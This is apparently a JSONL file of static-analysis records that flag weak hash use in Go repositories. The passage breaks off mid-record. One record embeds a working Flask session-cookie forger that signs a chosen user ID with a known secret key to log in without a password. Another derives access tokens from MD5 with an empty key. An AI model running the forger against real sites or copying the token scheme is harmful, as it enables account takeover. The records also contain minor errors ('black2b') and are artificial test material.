"595e66f9b679388e19675ac422b42da884e46e8f159a58c78828790a25adb2aa", "license": {"spdx": ["Apache-2.0"], "repo": "luojinbo008/go-niuniu", "path": "src/server/game/lib/model/model_user.go", "repo_head_hexsha": "55a77f2839353159d68e2fb8aee60d52e509d2cc", "stack_hexsha": "fbde21690db53cda8a5bf64c2071aefa681be951", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 9, "entireCode": "package model\n\nimport (\n\t\"gopkg.in/mgo.v2/bson\"\n\t\"github.com/name5566/leaf/log\"\n\t\"time\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n)\n\n// 数据库的数据\ntype UserData struct {\n\tUserID int \"_id\" // 用户id 自增型的\n\tAccountID string // 用户线上看到的id\n\tNickName string // 用户的昵称\n\tSex int // 性别 0--未知 1--男 2--女\n\tHeadImgUrl string // 头像\n\tDiamond int // 钻石\n\tAccessToken string // token\n\tCreatedAt int64 // 注册时间\n}\n\nconst (\n\tUSERDB \t= \"users\"\n\tMD5KEY\t\t= \"\"\n)\n\nfunc (data *UserData) initUserInfo(model *Model) (error) {\n\tuserID, err := model.mongoDBNextSeq(\"users\")\n\n\tif err != nil {\n\t\tlog.Debug(\"get next users id error: %v\", err)\n\t\treturn fmt.Errorf(\"get next users id error: %v\", err)\n\t}\n\n\tdata.UserID = userID\n\tdata.AccountID = time.Now().Format(\"0102\") + strconv.Itoa(data.UserID)\n\tdata.CreatedAt = time.Now().Unix()\n\treturn nil\n}\n\nfunc (model *Model) GetUserInfoByUserId(userId int) (userInfo UserData, err error) {\n\tdb := model.mongoDB.Ref()\n\tdefer model.mongoDB.UnRef(db)\n\n\terr = db.DB(DB).C(USERDB).Find(bson.M{\n\t\t\"_id\"\t: userId,\n\t}).One(&userInfo)\n\n\treturn userInfo, err\n}\n\nfunc (model *Model) AddUserInfo(userData UserData) (userInfo UserData, err error) {\n\n\tdb := model.mongoDB.Ref()\n\tdefer model.mongoDB.UnRef(db)\n\n\tuserData.initUserInfo(model)\n\n\th := md5.New()\n\th.Write([]byte(fmt.Sprintf(\"%s%s\", userData.AccountID, MD5KEY)))\n\tuserData.AccessToken = hex.EncodeToString(h.Sum(nil))\n\n\terr = db.DB(DB).C(USERDB).Insert(userData)\n\treturn userData, err\n}\n\nfunc (model *Model) GetUserInfoByAccessToken(accountID string, accessToken string) (userInfo UserData, err error) {\n\n\tdb := model.mongoDB.Ref()\n\tdefer model.mongoDB.UnRef(db)\n\n\terr = db.DB(DB).C(USERDB).Find(bson.M{\n\t\t\"accountid\"\t\t: accountID,\n\t\t\"accesstoken\"\t: accessToken,\n\t}).One(&userInfo)\n\treturn userInfo, err\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "46268e2b3bd90356551779b8b63f1946e5f1e0ef4e2c66a0d0b152d05cc34d72", "license": {"spdx": ["MIT"], "repo": "alexmv/go-camo", "path": "examples/go-base64.go", "repo_head_hexsha": "7ff92356b0d4da5d38b60ebd32a18959770bef2b", "stack_hexsha": "71ae8276324f5dcd6be17c9fbd41acf404904123", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 11, "entireCode": "// Copyright (c) 2012-2019 \n// Use of this source code is governed by an MIT-style\n// license that can be found in the LICENSE file.\n\n// +build ignore\n\npackage main\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"strings\"\n)\n\nvar CAMO_HOST = \"https://img.example.com\"\n\nfunc b64encode(data []byte) string {\n\treturn strings.TrimRight(base64.URLEncoding.EncodeToString(data), \"=\")\n}\n\nfunc GenCamoUrl(hmacKey []byte, srcUrl string) string {\n\tif strings.HasPrefix(srcUrl, \"https:\") {\n\t\treturn srcUrl\n\t}\n\toBytes := []byte(srcUrl)\n\tmac := hmac.New(sha1.New, hmacKey)\n\tmac.Write(oBytes)\n\tmacSum := b64encode(mac.Sum(nil))\n\tencodedUrl := b64encode(oBytes)\n\tencurl := CAMO_HOST + \"/\" + macSum + \"/\" + encodedUrl\n\treturn encurl\n}\n\nfunc main() {\n\tfmt.Println(GenCamoUrl([]byte(\"test\"), \"http://golang.org/doc/gopher/frontpage.png\"))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "933e3b290e9b908ab4d16b8caf2bb6f7a3275a34a37ea3fe4ba97f1c3f5ff687", "license": {"spdx": ["MIT"], "repo": "zhoujiagen/learning-go", "path": "src/application/mysql/client/client_test.go", "repo_head_hexsha": "466262311ef740716a6a96f59838e20699435807", "stack_hexsha": "8c44a984048b02772acb25492500b2136aaf3a14", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package client\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/zhoujiagen/mysql\"\n)\n\nfunc testTCP(t *testing.T) {\n\tconn, err := net.Dial(\"tcp\", \"127.0.0.1:3306\")\n\tif err != nil {\n\t\tt.Fatalf(\"dial failed: %v\", err)\n\t}\n\tfmt.Println(conn.RemoteAddr())\n\tfmt.Println(conn.LocalAddr())\n\n\ttime.Sleep(time.Second * 10)\n}\n\nfunc testSha1(t *testing.T) {\n\tsha1Hash := sha1.New()\n\tword := []byte(\"hello, there\")\n\t_, err := sha1Hash.Write(word)\n\tif err != nil {\n\t\tt.Fatalf(\"dial failed: %v\", err)\n\t}\n\twordHash := sha1Hash.Sum(nil)\n\tfmt.Printf(\"%d, %v\\n\", len(wordHash), word)\n\n\t// reset to hash again\n\tsha1Hash.Reset()\n\t_, err = sha1Hash.Write(word)\n\tif err != nil {\n\t\tt.Fatalf(\"dial failed: %v\", err)\n\t}\n\twordHash = sha1Hash.Sum(nil)\n\tfmt.Printf(\"%d, %v\\n\", len(wordHash), word)\n}\n\nfunc TestHandshake(t *testing.T) {\n\tclientRequest := &ClientRequest{\n\t\tHost: \"127.0.0.1\",\n\t\tPort: 3306,\n\t\tUser: \"root\",\n\t\tpassword: \"\",\n\t\tDatabase: \"test\",\n\t}\n\n\tHandshake(clientRequest)\n\n\ttime.Sleep(time.Second * 5)\n}\n\n/*\n0000 02 00 00 00 45 00 00 82 00 00 40 00 40 06 00 00 ....E.....@.@...\n0010 7f 00 00 01 7f 00 00 01 0c ea ff 54 1d 70 16 3c .........êÿT.p.<\n0020 64 f2 d7 34 80 18 31 d7 fe 76 00 00 01 01 08 0a dò×4..1×þv......\n0030 1c 95 2e 6d 1c 95 2e 6c 4a 00 00 00 0a 38 2e 30 ...m...lJ....8.0\n0040 2e 31 31 00 2a 00 00 00 6b 62 1c 76 06 4c 65 45 .11.*...kb.v.LeE\n0050 00 ff ff ff 02 00 ff c3 15 00 00 00 00 00 00 00 .ÿÿÿ..ÿÃ........\n0060 00 00 00 48 41 44 36 59 44 69 72 34 16 6a 37 00 ...HAD6YDir4.j7.\n0070 6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 mysql_native_pas\n0080 73 77 6f 72 64 00 sword.\n\n\n0000 02 00 00 00 45 00 00 a2 00 00 40 00 40 06 00 00 ....E..¢..@.@...\n0010 7f 00 00 01 7f 00 00 01 ff 54 0c ea 64 f2 d7 34 ........ÿT.êdò×4\n0020 1d 70 16 8a 80 18 31 d4 fe 96 00 00 01 01 08 0a .p....1Ôþ.......\n0030 1c 95 2e 6d 1c 95 2e 6d 6a 00 00 01 0d a2 3a 00 ...m...mj....¢:.\n0040 ff ff ff 00 2d 00 00 00 00 00 00 00 00 00 00 00 ÿÿÿ.-...........\n0050 00 00 00 00 00 00 00 00 00 00 00 00 72 6f 6f 74 ............root\n0060 00 14 92 80 b9 19 ff cf d1 33 96 72 ca 44 23 62 ....¹.ÿÏÑ3.rÊD#b\n0070 65 96 e7 a5 54 5d 74 65 73 74 00 6d 79 73 71 6c e.ç¥T]test.mysql\n0080 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 _native_password\n0090 00 14 08 63 6c 69 65 6e 74 49 64 0a 7a 68 6f 75 ...clientId.zhou\n00a0 6a 69 61 67 65 6e jiagen\n\n*/\nfunc testAuthData(t *testing.T) {\n\tpart1 := []byte{0x6b, 0x62, 0x1c, 0x76, 0x06, 0x4c, 0x65, 0x45}\n\tpart2 := []byte{0x48, 0x41, 0x44, 0x36, 0x59, 0x44, 0x69, 0x72, 0x34, 0x16, 0x6a, 0x37}\n\n\t// SHA1(password)\n\tsha1Hash := sha1.New()\n\t_, err := sha1Hash.Write([]byte(\"admin\"))\n\tif err != nil {\n\t\tt.Fatalf(\"%v\", err)\n\t}\n\tpasswordHash := sha1Hash.Sum(nil)\n\n\t// SHA1(SHA1(password))\n\tsha1Hash.Reset()\n\t_, err = sha1Hash.Write(passwordHash)\n\tif err != nil {\n\t\tt.Fatalf(\"%v\", err)\n\t}\n\tpasswordHashHash := sha1Hash.Sum(nil)\n\n\t// SHA1(\"20-bytes random data from server\" < concat > SHA1(SHA1(password)))\n\tsha1Hash.Reset()\n\tauthData := append(part1, part2...)\n\tauthData = append(authData, passwordHashHash...)\n\t_, err = sha1Hash.Write(authData)\n\tif err != nil {\n\t\tt.Fatalf(\"%v\", err)\n\t}\n\tauthDataHash := sha1Hash.Sum(nil)\n\n\t// SHA1(password) XOR SHA1(\"20-bytes random data from server\" < concat > SHA1(SHA1(password)))\n\t// authResponseLength := len(passwordHash)\n\t// for i := 0; i < authResponseLength; i++ {\n\t// \tpasswordHash[i] = byte(uint8(passwordHash[i]) ^ uint8(authDataHash[i]))\n\t// }\n\n\tauthData = mysql.XOR(passwordHash, authDataHash)\n\tfmt.Printf(\"%x\\n\", authData)\n\t// 92 80 b9 19 ff cf d1 33 96 72 ca 44 23 62 65 96 e7 a5 54 5d\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "ef0cd336da4fa7b67236aa7d9eccb7f4aba2600725329de2087ffd157622cc5a", "license": {"spdx": ["MIT"], "repo": "meilihao/demo", "path": "flask/flask_session.go", "repo_head_hexsha": "ba0c96a03c69546f444914f47ea2caf9ad8c42a9", "stack_hexsha": "fbdb11f84e6eccac287b97b5601b5c89bdb4579e", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 13, "entireCode": "// https://gist.github.com/babldev/502364a3f7c9bafaa6db\n// https://windard.com/blog/2017/10/17/Flask-Session\n// session value = [是否压缩(zlib)标志.]+ base64Endcode(Data) + \".\" + base64Endcode(Timestamp) + \".\" + base64Endcode(Signature)\n// flask 无密码登录\n// flask session cookie decoder / encoder\npackage main\n\nimport (\n\t\"bytes\"\n\t\"compress/zlib\"\n\t\"crypto/hmac\"\n\t\"crypto/rand\"\n\t\"crypto/sha1\"\n\t\"crypto/sha512\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"hash\"\n\t\"io\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n)\n\nvar (\n\t// 2011/01/01 in UTC from python package: itsdangerous\n\tEPOCH int64 = 1293840000\n\tbase64er = base64.RawURLEncoding\n)\n\n// func main() {\n// \t// session := \".eJw9kE1rg0AURf9KmXUWzhg3QhbKs2LgvcGiCW82gaqJjp0WTIIfIf-9NouuL_dw7n2I03lorq0Ib8O92YhTV4vwId4-RSioSAKC3DMu8XWBI6vMQ2U6kx6-sIhGgrhDh4oUtVyU0qTZiDaSbOuO7GXhJZ9xuQSU8qghn_iYKbbltGbKQBWwymeT4oTQK7SJRBs7hLpjhz6rgzXHXJJF30C_UIGzLvotqeSvHyBEPtu9I1t5-ljuxHMjqutwPt1--ub7f4JJ962GbNJQ-pTmUkNr2SWr2nvLKvEMfKzqcU_QBytmZldKHncv3P3aDK87xFaK5y-RXl9G.Di2Bdw.K5r2N_KEfgd7NYIhip7H3spSYns\"\n// \t// //session := \"\"\n// \t// data, err := DecodeFlaskSession(session, \"somexxxkey\", \"cookie-session\")\n// \t// fmt.Println(string(data), err)\n\n// \t// rawData := fmt.Sprintf(`{\"_fresh\":true,\"_id\":{\" b\":\"%s\"},\"csrf_token\":{\" b\":\"%s\"},\"user_id\":\"%d\"}`,\n// \t// \tbase64URLEndcode(createIdentifier(\"127.0.0.1\", \"api\")),\n// \t// \tbase64URLEndcode(generateCSRFToken()),\n// \t// \t41,\n// \t// )\n\n// \t// fmt.Println(\"raw:\", rawData)\n\n// \t// sessionData, err := EncodeFlaskSession(rawData, \"somexxxkey\", \"cookie-session\")\n// \t// fmt.Println(\"session:\", sessionData, err)\n\n// \tsessionData := \"\"\n// \trawData2, err := DecodeFlaskSession(sessionData, \"somexxxkey\", \"cookie-session\")\n// \tfmt.Println(string(rawData2), err)\n// }\n\nfunc main() {\n\t//realSession := \"\n\trealSession := \".eJw9kMGOgkAQRH9lM2cPAvFi4sHNuASS7glmgExfTBZRaJjdBDVgG_990cOeK3lVrx7qcBrqS6PW1-FWL9ShPar1Q318q7UiLhqwnWBZeCf5HaQLyKe9k6_W6G4FYRIgp0wl9o67Ee2-Nbbxxu4iJ9mdOFk6dpGJsxXofCR7FtJpg3rP6PMA_C4yuhIM55xzcYyd42rlmDzZJCI9c6W6g-178kVvZj68umzaU1x4E8_7-OhJw0Y9F6q6DKfD9berf_4VTOkmKJMJZRsAZxN6CJH3Lcpn-9Kg0oUg2wjjZATJlkbvAjhv3rjbpR7ed6hQPf8A801ixg.Di3PGw.zIHylr9XU1_3-M3uVAGMgpGeqPs\"\n\trawData, err := DecodeFlaskSession(realSession, \"somexxxkey\", \"cookie-session\")\n\tfmt.Println(string(rawData), err)\n\n\trouter := gin.Default()\n\n\trouter.GET(\"/debug/reset\", func(ctx *gin.Context) {\n\t\tip, userAgent := ctx.ClientIP(), ctx.GetHeader(\"user-agent\")\n\t\tfmt.Println(ip, userAgent)\n\n\t\t//ip = \"172.16.31.10\"\n\t\t//userAgent = \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\"\n\t\trawData := fmt.Sprintf(`{\"_fresh\":true,\"_id\":{\" b\":\"%s\"},\"csrf_token\":{\" b\":\"%s\"},\"user_id\":\"%d\"}`,\n\t\t\tbase64URLEndcode(createIdentifier(ip, userAgent)), // _id 随 ip和userAgent变化,变化后会重新生成session\n\t\t\tbase64URLEndcode(generateCSRFToken()),\n\t\t\t2,\n\t\t)\n\n\t\tfmt.Println(rawData)\n\n\t\tsessionData, err := EncodeFlaskSession(rawData, \"somexxxkey\", \"cookie-session\")\n\t\tfmt.Println(\"session:\", sessionData, err)\n\n\t\tctx.SetCookie(\"session\", sessionData, 360000, \"/\", \"\", false, true)\n\n\t\tctx.Redirect(http.StatusFound, \"/\")\n\t})\n\n\trouter.Run(\":8080\")\n}\n\n// \"cookie-session\" 是 flask session默认的salt\nfunc DecodeFlaskSession(raw, secretKey, salt string) ([]byte, error) {\n\tvar err error\n\tif raw, err = NewSigner(secretKey, salt, sha1.New).Load(raw); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar isCompress bool\n\n\tif strings.HasPrefix(raw, \".\") {\n\t\tisCompress = true\n\n\t\traw = raw[1:]\n\t}\n\n\ttmp := strings.Split(raw, \".\")\n\tif len(tmp) != 2 {\n\t\treturn nil, errors.New(\"Invalid Playload\")\n\t}\n\n\t// handle Timestamp\n\tstamp := pareTimestamp(tmp[1])\n\t_ = stamp\n\n\tdata := base64Decode(tmp[0])\n\n\tif isCompress {\n\t\treturn zlibDecode(data), nil\n\t}\n\n\treturn data, nil\n}\n\nfunc EncodeFlaskSession(raw, secretKey, salt string) (string, error) {\n\tdata := fmt.Sprintf(\".%s.%s\",\n\t\tbase64Endcode(zlibEncode([]byte(raw))),\n\t\tgetTimestamp(),\n\t)\n\n\treturn NewSigner(secretKey, salt, sha1.New).Dump(data)\n}\n\ntype Signer struct {\n\tSecret string\n\tSalt string\n\tHash func() hash.Hash\n\tRaw string\n\tSign string\n}\n\nfunc NewSigner(secretKey, salt string, hash func() hash.Hash) *Signer {\n\treturn &Signer{\n\t\tSecret: secretKey,\n\t\tSalt: salt,\n\t\tHash: hash,\n\t}\n}\n\nfunc (s *Signer) Load(raw string) (string, error) {\n\terr := s.unsign(raw)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif !s.isTrue() {\n\t\treturn \"\", errors.New(\"Invalid Sign\")\n\t}\n\n\treturn s.Raw, nil\n}\n\nfunc (s *Signer) Dump(raw string) (string, error) {\n\ts.Raw = raw\n\n\terr := s.sign(s.Raw)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn s.Raw + \".\" + s.Sign, nil\n}\n\nfunc (s *Signer) unsign(raw string) error {\n\tindex := strings.LastIndex(raw, \".\")\n\tif index == -1 {\n\t\treturn errors.New(\"No Sign\")\n\t}\n\n\tif index == len(raw)-1 {\n\t\treturn errors.New(\"Empty Sign\")\n\t}\n\n\tif index == 0 {\n\t\treturn errors.New(\"Empty Playload\")\n\t}\n\n\ts.Raw = raw[:index]\n\ts.Sign = raw[index+1:]\n\n\treturn nil\n}\n\nfunc (s *Signer) sign(raw string) error {\n\ts.Sign = s.buildSign()\n\n\treturn nil\n}\n\nfunc (s *Signer) isTrue() bool {\n\treturn s.buildSign() == s.Sign\n}\n\nfunc (s *Signer) buildSign() string {\n\tmac := hmac.New(s.Hash, s.deriveKey())\n\tmac.Write([]byte(s.Raw))\n\n\treturn base64Endcode(mac.Sum(nil))\n}\n\nfunc (s *Signer) deriveKey() []byte {\n\tmac := hmac.New(s.Hash, []byte(s.Secret))\n\tmac.Write([]byte(s.Salt))\n\treturn mac.Sum(nil)\n}\n\nfunc zlibDecode(compressSrc []byte) []byte {\n\tb := bytes.NewReader(compressSrc)\n\tvar out bytes.Buffer\n\tr, _ := zlib.NewReader(b)\n\tio.Copy(&out, r)\n\treturn out.Bytes()\n}\n\nfunc zlibEncode(src []byte) []byte {\n\tvar in bytes.Buffer\n\tw := zlib.NewWriter(&in)\n\tw.Write(src)\n\tw.Close()\n\treturn in.Bytes()\n}\n\nfunc base64Endcode(src []byte) string {\n\treturn base64er.EncodeToString(src)\n}\n\nfunc base64Decode(src string) []byte {\n\tdst := make([]byte, base64er.DecodedLen(len(src)))\n\tbase64er.Decode(dst, []byte(src)) // signature sure no error\n\n\treturn dst\n}\n\nfunc pareTimestamp(raw string) int64 {\n\tdst := base64Decode(raw)\n\treturn bytes2int64(dst)\n}\n\nfunc getTimestamp() string {\n\tt := time.Now().Unix()\n\n\treturn base64Endcode(int642bytes(t))\n}\n\nfunc bytes2int64(src []byte) int64 {\n\tvar tmp int64\n\tn := len(src) - 1\n\n\tfor i, v := range src {\n\t\ttmp |= int64(v) << byte(8*(n-i))\n\t}\n\n\treturn tmp\n}\n\nfunc int642bytes(src int64) []byte {\n\tsrc -= EPOCH\n\n\tbs := make([]byte, 0)\n\n\tfor src > 0 {\n\t\tbs = append(bs, byte(src&255))\n\t\tsrc >>= 8\n\t}\n\n\treturn reversed(bs)\n}\n\nfunc reversed(bs []byte) []byte {\n\tl, r := 0, len(bs)-1\n\n\tfor l < r {\n\t\tbs[l], bs[r] = bs[r], bs[l]\n\t\tl++\n\t\tr--\n\t}\n\n\treturn bs\n}\n\n// from flask_login\nfunc createIdentifier(remoteAddr, userAgent string) string {\n\tbase := fmt.Sprintf(\"%s|%s\", remoteAddr, userAgent)\n\tdata := sha512.Sum512([]byte(base))\n\n\treturn hex.EncodeToString(data[:])\n}\n\nfunc base64URLEndcode(src string) string {\n\treturn base64.URLEncoding.EncodeToString([]byte(src))\n}\n\nfunc generateCSRFToken() string {\n\tb := make([]byte, 64)\n\trand.Read(b)\n\tdata := sha1.Sum(b)\n\treturn hex.EncodeToString(data[:])\n}\n\n/*\n# flask session decoder/encoder对应的python代码\nfrom itsdangerous import URLSafeSerializer,URLSafeTimedSerializer\nfrom flask.sessions import SecureCookieSessionInterface,TaggedJSONSerializer\nimport hashlib\n\ndef create_token():\n\ts = URLSafeSerializer('xxx')\n\tbrowser_id = 'ASDF'\n\tlife_time = '100'\n\ttoken = s.dumps((1, 'admin', '', browser_id, life_time))\n\treturn token\n\n# https://gist.github.com/babldev/502364a3f7c9bafaa6db\ndef decode_flask_cookie(secret_key, cookie_str):\n salt = 'cookie-session'\n serializer = TaggedJSONSerializer()\n signer_kwargs = {\n 'key_derivation': 'hmac',\n 'digest_method': hashlib.sha1\n }\n s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)\n return s.loads(cookie_str)\n\ndef encode_flask_cookie(secret_key, cookieDict):\n salt = 'cookie-session'\n serializer = TaggedJSONSerializer()\n signer_kwargs = {\n 'key_derivation': 'hmac',\n 'digest_method': hashlib.sha1\n }\n s = URLSafeTimedSerializer(secret_key, salt=salt,\n\t\t serializer=serializer,\n\t\t signer_kwargs=signer_kwargs)\n return s.dumps(cookieDict)\n\nprint decode_flask_cookie('secret_xxx','.')\n\nprint decode_flask_cookie('somexxxkey','.')\n\nprint '----',encode_flask_cookie('somexxxkey',{u'csrf_token': '4', u'_fresh': True, u'user_id': u'41', u'_id': '519444fa7930cb43fbdee10040b2c67caa55db0205b7b683c423894f0841ab6b51686d79cd2dc109621520f07bbc7ceced5637d935329987a1689007b2f6749e'})\n*/\n\n/*\n# login test\nfrom flask import Flask, Response, redirect, url_for, request, session, abort, render_template_string\nfrom flask_login import LoginManager, UserMixin, \\\n login_required, login_user, logout_user\nfrom datetime import timedelta\nfrom flask_wtf.csrf import CSRFProtect\nfrom wtforms.form import Form\n\ncsrf = CSRFProtect()\nWTF_CSRF_SECRET_KEY = 'asdfadsfad'\napp = Flask(__name__)\napp.debug=True\ncsrf.init_app(app)\n\n# config\napp.config.update(\n DEBUG = True,\n SECRET_KEY = 'secret_xxx'\n)\n\n# flask-login\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = \"login\"\n\n\n# silly user model\nclass User(UserMixin):\n\n def __init__(self, id):\n self.id = id\n self.name = \"user\" + str(id)\n self.password = \"\n\n def __repr__(self):\n return \"%d/%s/%s\" % (self.id, self.name, self.password)\n\n\n# create some users with ids 1 to 20\nusers = [User(id) for id in range(1, 21)]\n\n\n# some protected url\n@app.route('/')\n@login_required\ndef home():\n return Response(\"Hello World!\")\n\n\n# somewhere to login\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n form = Form()\n if request.method == 'POST':\n if form.validate_on_submit():\n username = request.form['username']\n password = request.form['password']\n id = 1\n user = User(id)\n login_user(user,True,timedelta(seconds=400))\n # return redirect(request.args.get(\"next\"))\n return Response('login!')\n else:\n return render_template_string('''\n
\n \n

\n

\n

\n

\n ''',form=form)\n\n\n# somewhere to logout\n@app.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n return Response('

Logged out

')\n\n\n# handle login failed\n@app.errorhandler(401)\ndef page_not_found(e):\n return Response('

Login failed

')\n\n\n# callback to reload the user object\n@login_manager.user_loader\ndef load_user(userid):\n return User(userid)\n\n\n# @login_manager.user_loader\n# def user_loader(token):\n# print(\"---user_loader, token=\", token)\n# return load_token(token)\n\nif __name__ == \"__main__\":\n app.run()\n*/", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "0436f2fe477c83454af1f77e519fc029ca907733fd80ab2e182f2d0b36c0c3f3", "license": {"spdx": ["MIT"], "repo": "samuelngs/binary-go", "path": "asset.go", "repo_head_hexsha": "d3f2f9310aa20b8937d9b632a90fecb7120912b7", "stack_hexsha": "780641a939202985523a6c33cf25cbdd6d58460e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the 